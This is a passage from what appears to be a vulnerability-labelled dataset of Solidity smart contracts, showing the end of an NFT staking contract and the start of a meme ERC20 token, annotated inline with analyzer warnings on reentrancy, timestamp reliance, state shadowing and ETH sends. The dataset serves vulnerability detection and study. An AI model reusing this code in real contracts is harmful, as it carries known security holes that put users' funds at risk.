(uint256[] memory) {\n uint256 _balance = balanceOfStaked(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: a57d4b8\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function totalBalanceOf(\n address address_\n ) public view virtual returns (uint256) {\n return balanceOf(address_) + balanceOfStaked(address_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f646409): ERC721G.totalTimeStakedOfToken(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp > 0\n\t// Recommendation for f646409: Avoid relying on 'block.timestamp'.\n function totalTimeStakedOfToken(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n uint256 _totalTimeStakedOnToken = _expandTimestamp(\n _OwnerStruct.totalTimeStaked\n );\n\n\t\t// timestamp | ID: f646409\n uint256 _totalTimeStakedPending = _OwnerStruct.stakeTimestamp > 0\n ? _expandTimestamp(\n _getBlockTimestampCompressed() - _OwnerStruct.stakeTimestamp\n )\n : 0;\n\n return _totalTimeStakedOnToken + _totalTimeStakedPending;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 18540e2): ERC721G.totalTimeStakedOfTokens(uint256[]).i is a local variable never initialized\n\t// Recommendation for 18540e2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function totalTimeStakedOfTokens(\n uint256[] calldata tokenIds_\n ) public view virtual returns (uint256[] memory) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n uint256[] memory _totalTimeStakeds = new uint256[](l);\n\n while (i < l) {\n _totalTimeStakeds[i] = totalTimeStakedOfToken(tokenIds_[i]);\n\n unchecked {\n ++i;\n }\n }\n\n return _totalTimeStakeds;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3cd4084): ERC721G._isApprovedOrOwner(address,uint256) uses timestamp for comparisons Dangerous comparisons (_owner == spender_ || getApproved[tokenId_] == spender_ || isApprovedForAll[_owner][spender_])\n\t// Recommendation for 3cd4084: Avoid relying on 'block.timestamp'.\n function _isApprovedOrOwner(\n address spender_,\n uint256 tokenId_\n ) internal view virtual returns (bool) {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 3cd4084\n return (_owner == spender_ ||\n getApproved[tokenId_] == spender_ ||\n isApprovedForAll[_owner][spender_]);\n }\n\n function _approve(address to_, uint256 tokenId_) internal virtual {\n getApproved[tokenId_] = to_;\n\n emit Approval(ownerOf(tokenId_), to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9b5923d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9b5923d: Avoid relying on 'block.timestamp'.\n function approve(address to_, uint256 tokenId_) public virtual {\n address _owner = ownerOf(tokenId_);\n\n\t\t// timestamp | ID: 9b5923d\n require(\n _owner == msg.sender || isApprovedForAll[_owner][msg.sender],\n \"ERC721G: approve not authorized\"\n );\n\n _approve(to_, tokenId_);\n }\n\n function _setApprovalForAll(\n address owner_,\n address operator_,\n bool approved_\n ) internal virtual {\n isApprovedForAll[owner_][operator_] = approved_;\n\n emit ApprovalForAll(owner_, operator_, approved_);\n }\n\n function setApprovalForAll(\n address operator_,\n bool approved_\n ) public virtual {\n _setApprovalForAll(msg.sender, operator_, approved_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a3d6f0f): ERC721G._exists(uint256) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenId_) != address(0)\n\t// Recommendation for a3d6f0f: Avoid relying on 'block.timestamp'.\n function _exists(uint256 tokenId_) internal view virtual returns (bool) {\n\t\t// timestamp | ID: a3d6f0f\n return ownerOf(tokenId_) != address(0);\n }\n\n function transferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n require(\n _isApprovedOrOwner(msg.sender, tokenId_),\n \"ERC721G: transferFrom unauthorized\"\n );\n\n _transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 91191fa): ERC721G.safeTransferFrom(address,address,uint256,bytes).from_ lacks a zerocheck on \t (None,_returned) = to_.call(abi.encodeWithSelector(0x150b7a02,msg.sender,from_,tokenId_,data_))\n\t// Recommendation for 91191fa: Check that the address is not zero.\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_,\n bytes memory data_\n ) public virtual {\n transferFrom(from_, to_, tokenId_);\n\n if (to_.code.length != 0) {\n\t\t\t// missing-zero-check | ID: 91191fa\n (, bytes memory _returned) = to_.call(\n abi.encodeWithSelector(\n 0x150b7a02,\n msg.sender,\n from_,\n tokenId_,\n data_\n )\n );\n\n bytes4 _selector = abi.decode(_returned, (bytes4));\n\n require(\n _selector == 0x150b7a02,\n \"ERC721G: safeTransferFrom to_ non-ERC721Receivable!\"\n );\n }\n }\n\n function safeTransferFrom(\n address from_,\n address to_,\n uint256 tokenId_\n ) public virtual {\n safeTransferFrom(from_, to_, tokenId_, \"\");\n }\n\n function supportsInterface(bytes4 iid_) public view virtual returns (bool) {\n return\n iid_ == 0x01ffc9a7 ||\n iid_ == 0x80ac58cd ||\n iid_ == 0x5b5e139f ||\n iid_ == 0x7f5828d0;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8ced425): ERC721G.walletOfOwner(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) == address_\n\t// Recommendation for 8ced425: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 19b0ef3): ERC721G.walletOfOwner(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 19b0ef3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwner(\n address address_\n ) public view virtual returns (uint256[] memory) {\n uint256 _balance = balanceOf(address_);\n\n uint256[] memory _tokens = new uint256[](_balance);\n\n uint256 _currentIndex;\n\n uint256 i = startTokenId;\n\n while (_currentIndex < _balance) {\n\t\t\t// timestamp | ID: 8ced425\n if (ownerOf(i) == address_) {\n _tokens[_currentIndex++] = i;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _tokens;\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view virtual returns (string memory) {}\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2ecdd84): GAS2P2_20241029_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 2ecdd84: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}\n\nabstract contract Minterable is Ownable {\n mapping(address => bool) public minters;\n\n modifier onlyMinter() {\n require(minters[msg.sender], \"Not Minter!\");\n _;\n }\n\n event MinterSet(address newMinter, bool status);\n\n function setMinter(address address_, bool bool_) external onlyOwner {\n minters[address_] = bool_;\n\n emit MinterSet(address_, bool_);\n }\n}\n\ncontract GAS2P2_20241029_1 is ERC721G, Ownable, Minterable {\n constructor() ERC721G(\"Gangster All Star: Evolution\", \"GAS:EVO\", 1, 20) {}\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c0e38f): GAS2P2_20241029_1.proxyIsInitialized should be constant \n\t// Recommendation for 1c0e38f: Add the 'constant' attribute to state variables that never change.\n bool proxyIsInitialized;\n\n function O_setNameAndSymbol(\n string calldata name_,\n string calldata symbol_\n ) external onlyOwner {\n name = name_;\n\n symbol = symbol_;\n }\n\n bytes32 public generationSeed;\n\n function pullGenerationSeed() external onlyOwner {\n generationSeed = keccak256(\n abi.encodePacked(\n block.timestamp,\n block.number,\n block.difficulty,\n block.coinbase,\n block.gaslimit,\n blockhash(block.number)\n )\n );\n }\n\n uint256 public constant maxSupply = 7777;\n\n bool public stakingIsEnabled;\n\n bool public unstakingIsEnabled;\n\n function O_setStakingIsEnabled(bool bool_) external onlyOwner {\n stakingIsEnabled = bool_;\n }\n\n function O_setUnstakingIsEnabled(bool bool_) external onlyOwner {\n unstakingIsEnabled = bool_;\n }\n\n function _mint(address address_, uint256 amount_) internal override {\n require(\n maxSupply >= (totalSupply() + amount_),\n \"ERC721G: _mint(): exceeds maxSupply\"\n );\n\n ERC721G._mint(address_, amount_);\n }\n\n function stake(uint256[] calldata tokenIds_) public override {\n require(stakingIsEnabled, \"Staking functionality not enabled yet!\");\n\n ERC721G.stake(tokenIds_);\n }\n\n function unstake(uint256[] calldata tokenIds_) public override {\n require(unstakingIsEnabled, \"Unstaking functionality not enabled yet!\");\n\n ERC721G.unstake(tokenIds_);\n }\n\n function _mintMany(\n address[] memory addresses_,\n uint256[] memory amounts_\n ) internal {\n require(\n addresses_.length == amounts_.length,\n \"Array lengths mismatch!\"\n );\n\n for (uint256 i = 0; i < addresses_.length; ) {\n _mint(addresses_[i], amounts_[i]);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function mintAsController(\n address to_,\n uint256 amount_\n ) external onlyMinter {\n _mint(to_, amount_);\n }\n\n function mintAsControllerMany(\n address[] calldata tos_,\n uint256[] calldata amounts_\n ) external onlyMinter {\n _mintMany(tos_, amounts_);\n }\n\n string internal baseURI;\n\n string internal baseURI_EXT;\n\n function O_setBaseURI(string calldata uri_) external onlyOwner {\n baseURI = uri_;\n }\n\n function O_setBaseURI_EXT(string calldata ext_) external onlyOwner {\n baseURI_EXT = ext_;\n }\n\n function _toString(uint256 value_) internal pure returns (string memory) {\n if (value_ == 0) {\n return \"0\";\n }\n\n uint256 _iterate = value_;\n uint256 _digits;\n\n while (_iterate != 0) {\n _digits++;\n _iterate /= 10;\n }\n\n bytes memory _buffer = new bytes(_digits);\n\n while (value_ != 0) {\n _digits--;\n _buffer[_digits] = bytes1(uint8(48 + uint256(value_ % 10)));\n value_ /= 10;\n }\n\n return string(_buffer);\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view override returns (string memory) {\n if (block.chainid != 1) return \"\";\n\n return\n string(abi.encodePacked(baseURI, _toString(tokenId_), baseURI_EXT));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1df0e1e): GAS2P2_20241029_1.isOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenIds_[i]) != owner\n\t// Recommendation for 1df0e1e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42befde): GAS2P2_20241029_1.isOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 42befde: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 465cd1e): GAS2P2_20241029_1.isOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 465cd1e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: 1df0e1e\n if (ownerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d6c1595): GAS2P2_20241029_1.isTrueOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons _trueOwnerOf(tokenIds_[i]) != owner\n\t// Recommendation for d6c1595: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0061f13): GAS2P2_20241029_1.isTrueOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 0061f13: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 1cefb6e): GAS2P2_20241029_1.isTrueOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 1cefb6e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isTrueOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: d6c1595\n if (_trueOwnerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n IGASEVO public constant GASEVO =\n IGASEVO(0x0f926Df0DDB33A1dB95088964E09Fa8Fb47E490E);\n\n address public constant BURN_ADDRESS =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d267fbb): GAS2P2_20241029_1._claimGAS2Internal(address,uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(ownerOf(_currId) == BURN_ADDRESS,TOKEN_EXISTS)\n\t// Recommendation for d267fbb: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 6cd1c5e): GAS2P2_20241029_1._claimGAS2Internal(address,uint256[]) uses a dangerous strict equality require(bool,string)(_amount == _balance,INVALID_UPGRADE_AMOUNT)\n\t// Recommendation for 6cd1c5e: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _claimGAS2Internal(\n address user_,\n uint256[] memory tokenIds_\n ) internal {\n uint256 _amount = tokenIds_.length;\n\n uint256 _balance = GASEVO.balanceOf(user_);\n\n\t\t// incorrect-equality | ID: 6cd1c5e\n require(_amount == _balance, \"INVALID_UPGRADE_AMOUNT\");\n\n for (uint256 i; i < _amount; ) {\n uint256 _currId = tokenIds_[i];\n\n require(GASEVO.ownerOf(_currId) == user_, \"NOT_OWNER_OF_TOKEN\");\n\n\t\t\t// timestamp | ID: d267fbb\n require(ownerOf(_currId) == BURN_ADDRESS, \"TOKEN_EXISTS\");\n\n _transfer(BURN_ADDRESS, user_, _currId);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function C_claimGAS2For(\n address user_,\n uint256[] calldata tokenIds_\n ) external onlyMinter {\n _claimGAS2Internal(user_, tokenIds_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 94df663): GAS2P2_20241029_1._unboxGAS2Internal(address,uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(ownerOf(_currId) == user_,NOT_OWNER)\n\t// Recommendation for 94df663: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a1bc100): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a1bc100: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _unboxGAS2Internal(\n address user_,\n uint256[] memory tokenIds_\n ) internal {\n for (uint256 i; i < tokenIds_.length; ) {\n uint256 _currId = tokenIds_[i];\n\n\t\t\t// timestamp | ID: 94df663\n require(ownerOf(_currId) == user_, \"NOT_OWNER\");\n\n require(GASEVO.ownerOf(_currId) == address(0), \"TOKEN_UNBOXED\");\n\n\t\t\t// reentrancy-no-eth | ID: a1bc100\n GASEVO.mintAsController(user_, _currId);\n\n\t\t\t// reentrancy-no-eth | ID: a1bc100\n _balanceData[user_]\n .lastUnboxTimestamp = _getBlockTimestampCompressed();\n\n unchecked {\n ++i;\n }\n }\n }\n\n function C_unboxFor(\n address user_,\n uint256[] calldata tokenIds_\n ) external onlyMinter {\n _unboxGAS2Internal(user_, tokenIds_);\n }\n\n uint32 public constant UNBOX_TRANSFER_DELAY = 720;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 19a8279): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 19a8279: Avoid relying on 'block.timestamp'.\n function _transfer(\n address from_,\n address to_,\n uint256 tokenId_\n ) internal virtual override(ERC721G) {\n uint32 _currTimeCompressed = _getBlockTimestampCompressed();\n\n uint32 _lastUnboxTimestamp = _balanceData[from_].lastUnboxTimestamp;\n\n\t\t// timestamp | ID: 19a8279\n require(\n _currTimeCompressed >= _lastUnboxTimestamp + UNBOX_TRANSFER_DELAY,\n \"UNBOX_LOCKED_TEMPORARILY\"\n );\n\n ERC721G._transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2ecdd84): GAS2P2_20241029_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 2ecdd84: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}\n",
"file_name": "solidity_code_10123.sol",
"size_bytes": 35002,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WeLoveMemes is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 195edf4): WeLoveMemes._taxWallet should be immutable \n\t// Recommendation for 195edf4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d25482): WeLoveMemes._initialBuyTax should be constant \n\t// Recommendation for 8d25482: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f576c4): WeLoveMemes._initialSellTax should be constant \n\t// Recommendation for 2f576c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f727e61): WeLoveMemes._reduceBuyTaxAt should be constant \n\t// Recommendation for f727e61: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3586908): WeLoveMemes._reduceSellTaxAt should be constant \n\t// Recommendation for 3586908: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b6a38e): WeLoveMemes._preventSwapBefore should be constant \n\t// Recommendation for 7b6a38e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"We Love Memes\";\n\n string private constant _symbol = unicode\"WLM\";\n\n uint256 public _maxTxAmount = 1380000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb31fc): WeLoveMemes._taxSwapThreshold should be constant \n\t// Recommendation for 4cb31fc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1358655): WeLoveMemes._maxTaxSwap should be constant \n\t// Recommendation for 1358655: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1380000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d521b40): WeLoveMemes.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d521b40: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e024fcf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e024fcf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39593d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39593d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e024fcf\n\t\t// reentrancy-benign | ID: 39593d6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e024fcf\n\t\t// reentrancy-benign | ID: 39593d6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f442064): WeLoveMemes._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f442064: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 39593d6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e024fcf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0500803): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0500803: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 22b3cfc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 22b3cfc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0500803\n\t\t\t\t// reentrancy-eth | ID: 22b3cfc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0500803\n\t\t\t\t\t// reentrancy-eth | ID: 22b3cfc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 22b3cfc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 22b3cfc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 22b3cfc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0500803\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 22b3cfc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 22b3cfc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0500803\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0500803\n\t\t// reentrancy-events | ID: e024fcf\n\t\t// reentrancy-benign | ID: 39593d6\n\t\t// reentrancy-eth | ID: 22b3cfc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9f7b7cf): WeLoveMemes.sendETHToFee(uint256) sends 